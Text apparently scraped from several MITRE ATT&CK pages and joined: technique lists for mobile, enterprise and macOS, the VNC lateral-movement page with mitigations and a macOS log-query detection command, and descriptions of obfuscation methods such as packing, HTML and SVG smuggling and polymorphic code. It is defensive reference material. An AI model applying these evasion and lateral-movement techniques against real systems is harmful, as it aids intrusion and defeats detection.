Task/Job Privilege Escalation Code Injection Device Administrator Permissions Exploit OS Vulnerability Exploit TEE Vulnerability Defense Evasion Application Discovery Code Injection Delete Device Data Device Lockout Disguise Root/Jailbreak Indicators Download New Code at Runtime Evade Analysis Environment Geofencing Hooking Input Injection Install Insecure or Malicious Configuration Masquerade as Legitimate Application Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Native Code Obfuscated Files or Information Proxy Through Victim Suppress Application Icon Uninstall Malicious Application User Evasion Credential Access Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Clipboard Data Capture SMS Messages Exploit TEE Vulnerability Input Capture Input Prompt Keychain Network Traffic Capture or Redirection URI Hijacking Discovery Application Discovery Evade Analysis Environment File and Directory Discovery Location Tracking Network Service Scanning Process Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Attack PC via USB Connection Exploit Enterprise Resources Collection Access Calendar Entries Access Call Log Access Contact List Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Call Control Capture Audio Capture Camera Capture Clipboard Data Capture SMS Messages Data from Local System Foreground Persistence Input Capture Location Tracking Network Information Discovery Network Traffic Capture or Redirection Screen Capture Command and Control Alternate Network Mediums Call Control Commonly Used Port Domain Generation Algorithms Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Uncommonly Used Port Web Service Exfiltration Alternate Network Mediums Commonly Used Port Data Encrypted Standard Application Layer Protocol Impact Call Control Carrier Billing Fraud Clipboard Modification Data Encrypted for Impact Delete Device Data Device Lockout Generate Fraudulent Advertising Revenue Input Injection Manipulate App Store Rankings or Ratings Modify System Partition SMS Control Network Effects Downgrade to Insecure Protocols Eavesdrop on Insecure Network Communication Exploit SS7 to Redirect Phone Calls/SMS Exploit SS7 to Track Device Location Jamming or Denial of Service Manipulate Device Communication Rogue Cellular Base Station Rogue Wi-Fi Access Points SIM Card Swap Remote Service Effects Obtain Device Cloud Backups Remotely Track Device Without Authorization Remotely Wipe Data Without Authorization - Home - Techniques - Enterprise - Remote Services - VNC Remote Services: VNC Other sub-techniques of Remote Services (6) ID Name T1021. Remote Desktop Protocol T1021. SMB/Windows Admin Shares T1021. Distributed Component Object Model T1021. SSH T1021. VNC T1021. Windows Remote Management Adversaries may use Valid Accounts to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB ("remote framebuffer") protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.[1] VNC differs from Remote Desktop Protocol as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.[2][3] Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.[4][5][6][7][8][9] ID: T1021. Sub-technique of: T ⓘ Tactic: Lateral Movement ⓘ Platforms: Linux, Windows, macOS ⓘ System Requirements: VNC server installed and listening for connections. ⓘ CAPEC ID: CAPEC- Version: 1. Created: 11 February Last Modified: 07 October Version Permalink Live Version Procedure Examples ID Name Description S Carberp Carberp can start a remote VNC session by downloading a new plugin.[10] G FIN FIN7 has used TightVNC to control compromised hosts.[11] G Fox Kitten Fox Kitten has installed TightVNC server and client on compromised servers and endpoints for lateral movement.[12] G GCMAN GCMAN uses VNC for lateral movement.[13] S Proton Proton uses VNC to connect into systems.[14] S TrickBot TrickBot has used a VNC module to monitor the victim and collect information to pivot to valuable systems on the network [15][16] S ZxShell ZxShell supports functionality for VNC sessions.[17] Mitigations ID Mitigation Description M Audit Inventory workstations for unauthorized VNC server software. M Disable or Remove Feature or Program Uninstall any VNC server software where not required. M Filter Network Traffic VNC defaults to TCP ports 5900 for the server, 5800 for browser access, and 5500 for a viewer in listening mode. Filtering or blocking these ports will inhibit VNC traffic utilizing default ports. M Limit Software Installation Restrict software installation to user groups that require it. A VNC server must be manually installed by the user or adversary. Detection ID Data Source Data Component DS Logon Session Logon Session Creation DS Network Traffic Network Connection Creation DS Process Process Creation Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC. On macOS systems log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"' can be used to
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versions_v10_techniques_T1021_005.txt
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(2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. - Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016. - Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019. - BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022. - Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020. - Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020. - Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020. - ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. - kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020. - M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022. - Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023. - Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. - DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022. - DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023. - PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017. - ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022. - Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. - Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017. - Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. - Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022. - ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. - Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018. - Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021. - Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018. - Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019. - Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018. - The DigiTrust Group. (2017, January 01). NanoCore Is
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versions_v14_techniques_T1016.txt
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Currently viewing ATT&CK v9.0 which was live between April 29, 2021 and October 20, 2021. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Exchange Email Delegate Permissions Add Office 365 Global Administrator Role SSH Authorized Keys BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Rogue Domain Controller Rootkit Signed Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Signed Script Proxy Execution PubPrn Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query
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versions_v9_techniques_T1587_004.txt
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used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target. This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network. T Network Service Discovery Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system. T Network Share Discovery Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. T Network Sniffing Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. T Non-Application Layer Protocol Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). T Non-Standard Port Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. T Obfuscated Files or Information Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. . Binary Padding Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. . Software Packing Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code. . Steganography Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files. . Compile After Delivery Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe, csc.exe, or GCC/MinGW. . Indicator Removal from Tools Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. . HTML Smuggling Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads. . Dynamic API Resolution Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various Native API functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts. . Stripped Payloads Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s linker when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads. . Embedded Payloads Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to Subvert Trust Controls by not impacting execution controls such as digital signatures and notarization tickets. . Command Obfuscation Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter. . Fileless Storage Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository. In Linux systems, shared memory directories such as /dev/shm, /run/shm, /var/run, and /var/lock may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk. . LNK Icon Smuggling Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the IconEnvironmentDataBlock) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. . Encrypted/Encoded File Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use. . Polymorphic Code Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution. With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools. Other obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as Software Packing, Command Obfuscation, or Encrypted/Encoded File. . Compression Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., Fileless Storage). . Junk Code Insertion Adversaries may use junk code / dead code to obfuscate a malware’s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with Compression or Software Packing. . SVG Smuggling Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files. SVGs, or Scalable Vector Graphics, are vector-based image
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techniques_enterprise.txt
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Currently viewing ATT&CK v10.1 which was live between October 21, 2021 and April 24, 2022. Learn more about the versioning system or see the live site. MATRICES Enterprise PRE Windows macOS Linux Cloud Office Azure AD Google Workspace SaaS IaaS Network Containers Mobile Android iOS ICS - Home - Matrices - macOS macOS Matrix Below are the tactics and techniques representing the MITRE ATT&CK® Matrix for Enterprise. The Matrix contains information for the macOS platform. View on the ATT&CK® Navigator Version Permalink Live Version layout: side side flat show sub-techniques hide sub-techniques help Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Movement Collection Command and Control Exfiltration Impact 8 techniques 8 techniques 15 techniques 10 techniques 19 techniques 13 techniques 20 techniques 7 techniques 14 techniques 16 techniques 8 techniques 13 techniques Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing (3) = Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise (3) = Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts (3) = Default Accounts Domain Accounts Local Accounts Command and Scripting Interpreter (5) = AppleScript Unix Shell Visual Basic Python JavaScript Exploitation for Client Execution Inter-Process Communication Native API Scheduled Task/Job (1) = Cron Software Deployment Tools System Services (1) = Launchctl User Execution (2) = Malicious Link Malicious File Account Manipulation (1) = SSH Authorized Keys Boot or Logon Autostart Execution (4) = Kernel Modules and Extensions Re-opened Applications Plist Modification Login Items Boot or Logon Initialization Scripts (3) = Logon Script (Mac) RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account (2) = Local Account Domain Account Create or Modify System Process (2) = Launch Agent Launch Daemon Event Triggered Execution (4) = Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Emond External Remote Services Hijack Execution Flow (2) = Dynamic Linker Hijacking Dylib Hijacking Modify Authentication Process (1) = Pluggable Authentication Modules Scheduled Task/Job (1) = Cron Server Software Component (1) = Web Shell Traffic Signaling (1) = Port Knocking Valid Accounts (3) = Default Accounts Domain Accounts Local Accounts Abuse Elevation Control Mechanism (3) = Setuid and Setgid Sudo and Sudo Caching Elevated Execution with Prompt Boot or Logon Autostart Execution (4) = Kernel Modules and Extensions Re-opened Applications Plist Modification Login Items Boot or Logon Initialization Scripts (3) = Logon Script (Mac) RC Scripts Startup Items Create or Modify System Process (2) = Launch Agent Launch Daemon Event Triggered Execution (4) = Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Emond Exploitation for Privilege Escalation Hijack Execution Flow (2) = Dynamic Linker Hijacking Dylib Hijacking Process Injection Scheduled Task/Job (1) = Cron Valid Accounts (3) = Default Accounts Domain Accounts Local Accounts Abuse Elevation Control Mechanism (3) = Setuid and Setgid Sudo and Sudo Caching Elevated Execution with Prompt Deobfuscate/Decode Files or Information Execution Guardrails (1) = Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification (1) = Linux and Mac File and Directory Permissions Modification Hide Artifacts (8) = Hidden Files and Directories Hidden Users Hidden Window Hidden File System Run Virtual Instance VBA Stomping Email Hiding Rules Resource Forking Hijack Execution Flow (2) = Dynamic Linker Hijacking Dylib Hijacking Impair Defenses (5) = Disable or Modify Tools Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Downgrade Attack Indicator Removal on Host (4) = Clear Linux or Mac System Logs Clear Command History File Deletion Timestomp Masquerading (6) = Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Modify Authentication Process (1) = Pluggable Authentication Modules Obfuscated Files or Information (6) = Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools HTML Smuggling Process Injection Reflective Code Loading Rootkit Subvert Trust Controls (4) = Gatekeeper Bypass Code Signing Install Root Certificate Code Signing Policy Modification Traffic Signaling (1) = Port Knocking Valid Accounts (3) = Default Accounts Domain Accounts Local Accounts Virtualization/Sandbox Evasion (3) = System Checks User Activity Based Checks Time Based Evasion Adversary-in-the-Middle (1) = ARP Cache Poisoning Brute Force (4) = Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores (4) = Keychain Securityd Memory Credentials from Web Browsers Password Managers Exploitation for Credential Access Forge Web Credentials (1) = Web Cookies Input Capture (3) = Keylogging GUI Input Capture Web Portal Capture Modify Authentication Process (1) = Pluggable Authentication Modules Network Sniffing OS Credential Dumping Steal or Forge Kerberos Tickets Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials (3) = Credentials In Files Bash History Private Keys Account Discovery (2) = Local Account Domain Account Application Window Discovery Browser Bookmark Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery (2) = Domain Groups Local Groups Process Discovery Remote System Discovery Software Discovery (1) = Security Software Discovery System Information Discovery System Location Discovery (1) = System Language Discovery System Network Configuration Discovery (1) = Internet Connection Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery Virtualization/Sandbox Evasion (3) = System Checks User Activity Based Checks Time Based Evasion Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking (1) = SSH Hijacking Remote Services (2) = SSH VNC Software Deployment Tools Taint Shared Content Adversary-in-the-Middle (1) = ARP Cache Poisoning Archive Collected Data (3) = Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged (2) = Local Data Staging Remote Data Staging Email Collection (1) = Email Forwarding Rule Input Capture (3) = Keylogging GUI Input Capture Web Portal Capture Screen Capture Video Capture Application Layer Protocol (4) = Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding (2) = Standard Encoding Non-Standard Encoding Data Obfuscation (3) = Junk Data Steganography Protocol Impersonation Dynamic Resolution (3) = Domain Generation Algorithms Fast Flux DNS DNS Calculation Encrypted Channel (2) = Symmetric Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy (4) = Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling (1) = Port Knocking Web Service (3) = Dead Drop Resolver Bidirectional Communication One-Way Communication Automated Exfiltration Data Transfer Size Limits Exfiltration Over Alternative Protocol (3) = Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over 